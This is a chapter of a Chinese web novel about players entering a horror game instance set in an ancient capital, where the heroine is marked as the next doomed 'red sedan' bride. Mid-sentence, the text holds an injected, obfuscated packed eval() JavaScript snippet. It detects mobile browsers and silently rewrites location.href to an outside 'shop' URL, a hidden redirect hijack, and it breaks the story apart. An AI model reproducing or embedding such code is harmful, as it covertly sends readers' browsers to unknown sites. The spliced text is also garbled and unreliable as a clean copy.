246.红轿案
作品:《请在我的废墟里爱我》 进副本当天,天刚蒙蒙亮。冬逢初到车站时,站台上没几个人。
他一眼就看见调作息失败的初与序困困地靠在柱子上,手里夹着根烟,但没怎么抽。他走过去,将热咖啡递给她:“大早上就抽烟?”
初与序接过咖啡,眼皮都睁不开,靠在他肩膀上:“提神,等不困了就不抽。”
冬逢初从她指尖将烟拿了过来,放到自己唇边,吸了一口:“喝咖啡吧,烟给我。”
“……”初与序总觉得这人是来顺烟的。
她低头打开咖啡杯盖,喝了一口。
恰好这时D019次列车到站,车门打开,J23看见站台上的两人,挑了挑眉:“哟,还真从床上爬起来了?不容易。”
冬逢初笑了笑:“总不能迟到。”
两人在惯常的位置坐下,列车启动,J23继续道:“这次《红轿案》的时间是五天。任务不简单,古代背景,规矩多,限制也多。悠着点,别又搞出什么需要执行官加班的大场面。”
冬逢初应了一声:“知道了,尽量。”
初与序靠在他肩上,闭着眼在和困意做斗争,只是含糊地“嗯”了一下。
【尊敬的各位玩家您好,您搭乘的D019次列车即将出发,请配合工作人员妥善安置行李,防止遗失。本次列车起点站:永冬之城;终点站:《红轿案》。接下来,我会为各位讲解副本背景设定:】
【主线剧情:本朝“红轿案”轰动,已延续十二年,每隔三年,宫中会以赐婚名义,挑选一名高官之女,以八抬大轿,皇室正礼迎入皇城。然而,所有新娘均在新婚之夜离奇死亡。次日清晨,尸身被完整送返娘家时,面容安详,嘴角含笑,宛如活人。】
【民间流言四起,皆称此乃“阴间选妃”。宫中则称“新娘福薄,骤病而亡”,天家威严之下,无人敢公开质疑。但满朝文武皆知,红轿一抬,便是送女赴死。】
【如今又逢三年之期,红轿即将再度出动。而这一次,命运的指针会转向谁的位置?】
【副线剧情:在距离京城三十里的槐荫村,流传着一个比红轿案更早的恐怖习俗:骨姻。若村中未婚女子意外暴毙,其家人必须在七日内为她寻找一名活人男子,举办冥婚,最终将活人与尸体一同封入双人棺,埋进家族坟地。】
【老人们坚信,横死的女子怨气太重,只有用活人的阳气“配成一对”,才能镇住冤魂,避免她夜夜回村索命。而被选中的男子通常是外乡人,流浪者,或欠下巨债的穷人,而不害本村骨血。】
【今年腊月,柳家女儿青娘在溪边失足溺亡。村中人绑来一位赴京赶考的书生。此刻那书生正被捆在祠堂后的柴房,而青娘的尸体则穿着大红嫁衣,坐在堂屋的太师椅上,脸上被精心涂抹着与红轿新娘如出一辙的诡异微笑。】
【主线任务:揭露宫中阴谋,查明“红轿案”真相,并阻止此案再次发生。】
【副线任务:查明民间配阴魂的真相。并阻止冥婚再次发生。】
【您即将进入的副本背景为古代京城。请注意,本城严格执行宵禁制度:暮鼓,一更三点(晚8:12)敲响,全城开始宵禁。晨钟,五更三点(早4:12)敲响,宵禁解除。】
【宵禁期间,除持有官方文书的公务人员,婚丧仪仗或持有急诊令牌者外,任何百姓不得上街行走。若被巡夜武侯抓获,将立即押送官府,依律杖责二十。】
【请合理安排您的行动时间。】
【祝您存活愉快。】
……
咋还有宵禁?
本来在古代副本里探案就难,要注意这个注意那个,晚上出门才稍微顺利点。现在好了,来了个宵禁,被发现要挨揍,更麻烦了。
初与序和冬逢初双双对视一眼,纷纷叹了口气。
J23被这两人的样子逗笑,踩下刹车:“别叹气了,就当作穿越回古代玩玩,说不定能体验到除了副本剧情外其他什么东西。”
她话锋一转:“除了把古代场景炸了,放火也不行。初与序,说的就是你。”
转过头假装听不见的初与序:“……”
两个人照常下车,走进一片浓雾。他们的气息在雾里交错又散开,初与序能看到哈出的雾气,这个副本气温较低。
几分钟喉,雾开始缓缓变淡,四周的场景渐渐浮现。各种脚步声从四面八方响起,低语声听不清。初与序下意识回头,身后空荡荡的,只有正在消散的雾和青灰墙砖。
冬逢初不见了,应该是被系统分到了副本另一片任务点。
雾彻底散后,初与序发现自己站在一座院子里。天阴沉沉的,雪厚厚地铺满了地面。角落里有几株梅树,开着鲜艳的红梅。空气清冽,吸入肺里带着刺痛。
她垂眸看去,自己的衣着已经换了一套。
是一件月白色的交领短袄,领口和袖口带着蓝色的回纹刺绣。下身的裙子是从浅天蓝渐变到深海蓝,像把天色披在身上。腰间系着丝绦,底下坠着一枚白玉禁步。
她走到院角那口井边,井沿的青石被雪盖了一半,装着水的木桶搁在旁边。
初与序俯身,水面里映出她的人影——长发半披半绾着,发间插着一支水蓝玉兰簪,玉质温润。熟悉的眉眼被这身打扮衬得温柔宁静。
不得不说,系统的审美还是很好的。初与序直起身,打量着这方院落。
青砖高墙,雪覆屋檐,廊下悬挂着旧灯笼,能明显看出宅院的主人身份不简单。
脚步声从身后廊下急急传来,初与序回头,一个脸圆圆的丫鬟正提着裙子小跑进来,一把抓住初与序的袖子:“小姐!您怎么还在这儿!前厅、前厅那位李媒婆又来了!老爷正传话让您过去呢!”
原来宅院的主人是自己父亲。
初与序问:“李媒婆?”
“哎呀我的小姐!”丫鬟一跺脚,“就是宫里那位李媒婆呀!她上个月就来过两回,前几日又来,今日这是第四趟了!说是、说是想招您入宫。”
她压低声音:“小姐要是真入了宫,那还得了?您快随我去前厅吧,老爷正陪着说话呢,脸色可不好看。”
初与序顿了顿,抬脚跟了上去。
走过两道回廊,来到了前厅,前厅敞着门,里头烧着炭盆。她刚迈进门槛,面板就在眼前展开:
【玩家身份:初与序。】
【父亲:初明远,当朝二品大员,吏部待郎。】
【背景补充:生母早逝,由丫鬟仆妇抚养长大。父女关系疏淡,然物质供给丰厚,所用皆上品。】
【关键NPC:李媒婆,专司“红轿案”选妃事宜,负责将选定新娘送入宫中。】
【关联人物:太子萧景琰。】
初与序在其中一行字上看了一会儿。“父亲”,这个词在她记忆里是一片空白,现实里她的父亲早就成为一张遗像,此刻要面对一个顶着“父亲”名号的NPC,她有些无措。
厅里,主位上坐着一名中年男子,穿着暗青色常服,皱着眉,应该就是初明远。下首客座上是个头戴攒竹抹额的妇人,面皮白净,嘴角噙着笑。
初与序走过去,垂首福了一礼:“父亲。”又转向那妇人,“李夫人。”
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157087|177773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
媒婆的眼睛猛地亮了,她站起身来,围着初与序转了半圈:“啧啧,瞧瞧,瞧瞧!这才几日不见,初小姐出落得愈发水灵了!这眉眼,这身段。”
她转向初明远:“初大人好福气啊!小姐这面相,是旺夫益子的贵相。这生辰八字,更是难得一遇的清净纯厚。还有这血脉,宫里早些年就传过话,说初家嫡女的血脉最是清正。”
初与序表面听着,心里在发呆,直到李媒婆开始说起正事。
“所以啊,”李媒婆坐回椅子上,端起茶盏,“太子殿下那边也催得紧。老身今日来,就是替宫里传个准话,初小姐的福气到了。这月十八,吉日,宫里派轿来接,一应规矩比照前几位,绝不委屈了小姐。”
初与序抬起头,这是说自己在后天就要入宫嫁给太子?
太子谁啊?那什么,萧景琰?不认识。
福气个锤子,这福气谁爱要谁要。
她本以为初明远坐在这里,不过是怕得罪宫里的人,客套几句,就会应下这桩婚事。
可下一秒,却听初明远缓缓开口:“李夫人谬赞了。小女资质愚钝,性子又沉闷,怕是入不得宫,更担不起侍奉太子的重任。且她母亲去得早,臣……私心总想多留她在身边几年,以慰膝下寂寥。还望夫人回禀时,能替臣美言几句。”
他说着,还用眼神意识初与序赶紧离开,别在这媒婆面前。
初与序正要转身告退。
“小姐留步。”李媒婆的声音凉凉地响起。
初与序:“……”
李媒婆放下茶盏,从袖子中抽出一卷杏黄色的绢帛,轻轻放在桌上:“初大人,老身前几次来,您总是推脱。体谅您爱女心切,老身也帮着周旋了几回。可今日不同,方才那些话,是圣上亲口传下的口谕。”
她看向初与序:“除非,初小姐能在两日之内,找到合意的人家,三书六礼,明媒正娶地嫁出去。否则,本月十八,宫中红轿必至。这是圣意,初大人,莫要让老身为难,更莫要……让初家为难。”
旁边的圆脸丫鬟急得眼圈都红了,嘴唇动了动,却被初明远一个眼神止住。
李媒婆站起身,理了理衣袖,最后瞥了一眼初与序。
“老身话已带到,最多今晚为您争取一下,但希望渺茫。初小姐,您好生准备着吧。”
她说完,径直朝厅外走去。
初明远沉默地坐在那里,望着门外的天空,重重地叹了口气。
接着他转过头,看向初与序:“序儿,你……自己心里怎么想?愿不愿意去宫里?”
废话,谁愿意去那种明摆着送死的地方,红轿案新娘没有一个活下来,她去了,下场又能有什么不同。
初与序垂下眼,平平淡淡道:“女儿听父亲的。”
初明远看了她一会儿,苦笑地摇了摇头。
“你从小就是这样,懂事听话,从不让我操心。现在让你进宫,我知道你不愿意。”他顿了顿,挥了挥手:“先回屋去吧,这事容我再想想办法。这两天别随便出府,宫里的人……”
后面的话他没说,隔墙有耳的道理,在这深宅大院,这京城宫场,他又是二品大员,被人听到了,可是掉脑袋的事。
眼下正卡在主线剧情的起始点,进宫是两天后的事,这期间主线无法下手。那么现在也只能看看副线剧情了。
“父亲。”初与序上前一步,“女儿想先去城西的慈恩寺上柱香,为母亲祈福,也求个平安。”
初明远最终点了点头:“去吧,多带两个人,早些回来。让小玉跟着你,仔细些。”
“是。”

